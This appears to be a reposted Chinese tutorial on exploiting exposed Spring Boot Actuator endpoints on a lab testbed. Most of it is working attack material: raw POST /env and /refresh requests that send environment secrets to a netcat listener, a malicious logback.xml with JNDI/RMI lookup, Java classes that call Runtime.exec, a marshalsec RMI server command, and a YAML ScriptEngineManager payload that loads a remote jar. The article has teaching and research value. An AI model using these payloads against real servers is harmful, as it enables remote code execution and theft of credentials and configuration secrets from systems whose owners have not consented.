网安教育
培养网络安全人才
技术交流、学习咨询
当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了*
1
通过
${name}
可以获取明文字段
2
配置不当导致敏感信息泄露(password 打星号,而
pwd
没有打星号)
参考 https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA
具体实现过程:
例如: 我们要获取 pid 参数值
1
"PID"
:
"10648"
,
1
POST /env HTTP/1.1
2
Host: 10.20.24.191:8090
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6
Accept-Encoding: gzip, deflate
7
Connection: close
8
Upgrade-Insecure-Requests: 1
9
Content-Type: application/x-www-form-urlencoded
10
Content-Length: 76
11
12
eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/
然后 post refresh 任意内容,触发漏洞
Ps: 一般情况需要等待3秒会有响应包,如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用
1
POST /refresh HTTP/1.1
2
Host: 10.20.24.191:8090
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6
Accept-Encoding: gzip, deflate
7
Connection: close
8
Upgrade-Insecure-Requests: 1
9
Content-Type: application/x-www-form-urlencoded
10
Content-Length: 5
11
12
12312
当服务器 nc 监听端口2444 时,接收到
1
root@kali:/tmp# nc -lvvp 2444
2
listening on [any] 2444 ...
3
connect to [10.20.24.191] from kali [10.20.24.191] 40960
4
GET /xstream/apps/ HTTP/1.1
5
Accept: application/json
6
DiscoveryIdentity-Name: DefaultClient
7
DiscoveryIdentity-Version: 1.4
8
DiscoveryIdentity-Id: 10.20.24.191
9
Accept-Encoding: gzip
10
Host: 10.20.24.191:2444
11
Connection: Keep-Alive
12
User-Agent: Java-EurekaClient/v1.4.11
13
Authorization: Basic MzgzNDY6bnVsbA==
1
Authorization: Basic MzgzNDY6bnVsbA==
base64 解码得到
1
root@kali
:/tmp
# echo MzgzNDY6bnVsbA== |base64 -d
2
38346
:null
和上面的 pid 信息一样
同样 获取 user.country参数,步骤也一样
结果:
1
root@kali:/tmp# nc -lvvp 2555
2
listening on [any] 2555 ...
3
connect to [10.20.24.191] from kali [10.20.24.191] 38994
4
GET /xstream/apps/ HTTP/1.1
5
Accept: application/json
6
DiscoveryIdentity-Name: DefaultClient
7
DiscoveryIdentity-Version: 1.4
8
DiscoveryIdentity-Id: 10.20.24.191
9
Accept-Encoding: gzip
10
Host: 10.20.24.191:2555
11
Connection: Keep-Alive
12
User-Agent: Java-EurekaClient/v1.4.11
13
Authorization: Basic VVM6bnVsbA==
14
15
sent 0, rcvd 310
base64 解码得到
1
root@kali
:/tmp
# echo VVM6bnVsbA== |base64 -d
2
US:
null
脚本化
输入要查询的参数,输入 nc 监听的端口
监听端口,获取指定 header 头,自动 base64 解密
Ps: 如果您很幸运在目标类路径中具有Eureka-Client <1.8.7(通常包含在Spring Cloud Netflix中),则可以利用其中的XStream反序列化漏洞。
例如: User-Agent: Java-EurekaClient/v1.4.11
0x01 环境搭建
1
git
clone https://github.com/veracode-research/actuator-testbed
启动
1
mvn
install
2
或
3
mvn
spring-boot
:run
通过编译运行,发现监听IP 地址为 127.0.0.1,只能本机访问 百度查找,修改为 0.0.0.0 就好了
查找关键文件
1
grep
-r
'server.address'
-n ./
1
./src/main/resources/application.properties:2:server.address=127.0.0.1
2
./target/classes/application.properties:2:server.address=127.0.0.1
改为
1
server.port=8090
2
server.address=0.0.0.0
3
4
#
vulnerable configuration
set
0: spring boot 1.0 - 1.4
5
#
all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
6
#
no configuration required to expose them
7
8
#
safe configuration
set
0: spring boot 1.0 - 1.4
9
#
management.security.enabled=
true
10
11
#
vulnerable configuration
set
1: spring boot 1.5+
12
#
spring boot 1.5+ requires management.security.enabled=
false
to expose sensitive actuators
13
#
management.security.enabled=
false
14
15
#
safe configuration
set
1: spring boot 1.5+
16
#
when
'management.security.enabled=false'
but all sensitive actuators explicitly disabled
17
#
management.security.enabled=
false
18
19
#
vulnerable configuration
set
2: spring boot 2+
20
#
management.endpoints.web.exposure.include=*
0x02 重启启动
1
mvn spring-boot:run
2
3
或
4
5
/opt/jdk1.8.0_60/
/bin/java -classpath /opt/apache-maven
-3.6
.2
/boot/plexus-classworlds
-2.6
.0
.jar -Dclassworlds.c
稍等片刻
1
root@kali
:~/actuator/actuator-testbed
# netstat -ntpl |grep 8090
2
tcp6
0
0
:
:
:
8090
:
:
:*
LISTEN
33666
/java
3
root@kali
:~/actuator/actuator-testbed
#
http://10.20.24.191:8090/
http://10.20.24.191:8090/jolokia/list
中 reloadByURL 可以加载远程 url xml 文件
1
"ch.qos.logback.classic"
: {
2
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator"
: {
3
"op"
: {
4
"reloadByURL"
: {
5
"args"
: [
6
{
7
"name"
:
"p1"
,
8
"type"
:
"java.net.URL"
,
9
"desc"
:
""
10
}
11
],
12
"ret"
:
"void"
,
13
"desc"
:
"Operation exposed for management"
14
}
0x03 http 服务存放logback.xml,ExportObject.class
logback.xml 文件内容
1
<
configuration
>
2
<
insertFromJNDI
env-entry-name
=
"rmi://10.20.24.191:1099/Exploit"
as
=
"appName"
/>
3
</
configuration
>
ExportObject.java
1
import
java.io.BufferedReader;
2
import
java.io.InputStream;
3
import
java.io.InputStreamReader;
4
5
public
class
ExportObject
{
6
public
ExportObject
()
throws
Exception
{
7
Process var1 = Runtime.getRuntime().exec(
"touch /tmp/jas502n"
);
8
InputStream var2 = var1.getInputStream();
9
BufferedReader var3 =
new
BufferedReader(
new
InputStreamReader(var2));
10
11
String var4;
12
while
((var4 = var3.readLine()) !=
null
) {
13
System.out.println(var4);
14
}
15
16
var1.waitFor();
17
var2.close();
18
var3.close();
19
var1.destroy();
20
}
21
22
public
static
void
main
(String[] var0)
throws
Exception
{
23
}
24
}
0x04 RCE触发
监听 rmi 端口
1
root@kali
:~/ldap_rmi
# cat rmi.sh
2
java -cp marshalsec-
0
.
0
.
3
-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
http:
/
/10.20.24.191:8000/
#ExportObject
3
4
5
root@kali
:~/ldap_rmi
# ./rmi.sh
6
* Opening JRMP listener on
1099
7
Have connection from /
10.20
.
24.191
:
43878
8
Reading message...
9
Is RMI.lookup call
for
ExportObject
2
10
Sending remote classloading stub targeting
http:
/
/10.20.24.191:8000/
ExportObject.
class
11
Closing connection
浏览器访问加载远程logback.xml文件进行解析,
服务器访问恶意jndi 地址,导致恶意字节码代码执行
1
http://10.20.24.191:8090/jolokia/
exec
/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml
0x05 命令执行成功
1
root@kali
:/var/www/html
# ls /tmp/j*
2
/tmp/jas502n
3
root@kali
:/var/www/html
#
通过Spring环境spring.cloud.bootstrap.location 属性修改来实现RCE的方法更可靠
该属性用于加载外部配置并以YAML格式解析它。 为了实现这一点,任需要POST /refresh 任意内容触发漏洞。
yaml_payload.yml 文件内容
1
!!javax.script.ScriptEngineManager [
2
!!java.net.URLClassLoader
[[
3
!!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
4
]]
5
]
0x00 yaml_payload.jar 制造
代码 https://github.com/artsploit/yaml-payload
AwesomeScriptEngineFactory.java 部分代码
1
import
javax.script.ScriptEngine;
2
import
javax.script.ScriptEngineFactory;
3
import
java.io.IOException;
4
import
java.util.List;
5
6
public
class
AwesomeScriptEngineFactory
implements
ScriptEngineFactory
{
7
8
public
AwesomeScriptEngineFactory
()
{
9
try
{
10
Runtime.getRuntime().exec(
"touch /tmp/success"
);
11
}
catch
(IOException e) {
12
e.printStackTrace();
13
}
14
}
ymal_payload.jarartsploitAwesomeScriptEngineFactory.java
包含实际的字节码,并在构造函数中带有恶意有效载荷。
ymal_payload.jarservicesjavax.script.ScriptEngineFactory
只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件, 以便ServiceLoader知道在哪里可以找到该类
内容:artsploit.AwesomeScriptEngineFactory
jar 文件存在到http服务器中
http://10.20.24.191:8090/ymal_payload.jar
0x01 Set spring.cloud.bootstrap.location
1
spring.cloud.bootstrap.location=http:
//10.20.24.191:8090/yaml_payload.yml
1
POST /env HTTP/1.1
2
Host: 10.20.24.191:8090
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6
Accept-Encoding: gzip, deflate
7
X-Forwarded-For: 127.0.0.1
8
Connection: close
9
Upgrade-Insecure-Requests: 1
10
Content-Type: application/x-www-form-urlencoded
11
Content-Length: 73
12
13
spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml
0x02 refresh post任意内容,RCE 漏洞触发
1
POST /refresh HTTP/1.1
2
Host: 10.20.24.191:8090
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6
Accept-Encoding: gzip, deflate
7
X-Forwarded-For: 127.0.0.1
8
Connection: close
9
Upgrade-Insecure-Requests: 1
10
Content-Type: application/x-www-form-urlencoded
11
Content-Length: 5
12
13
12312
0x03 RCE 执行成功
1
root@kali
:/var/www/html
# ls /tmp/succ*
2
/tmp/success
3
root@kali
:/var/www/html
#
Ps: 与Eureka的XStream有效负载相比,yaml的方法甚至可以在最新版本中使用。
参考链接
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
文:jas502n
原文链接:https://github.com/jas502n/SpringBoot_Actuator_RCE
版权声明:著作权归作者所有。如有侵权请联系删除
原文始发于微信公众号(开源聚合网络空间安全研究院):【实例讲解】SpringBoot Actuator RCE 漏洞总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论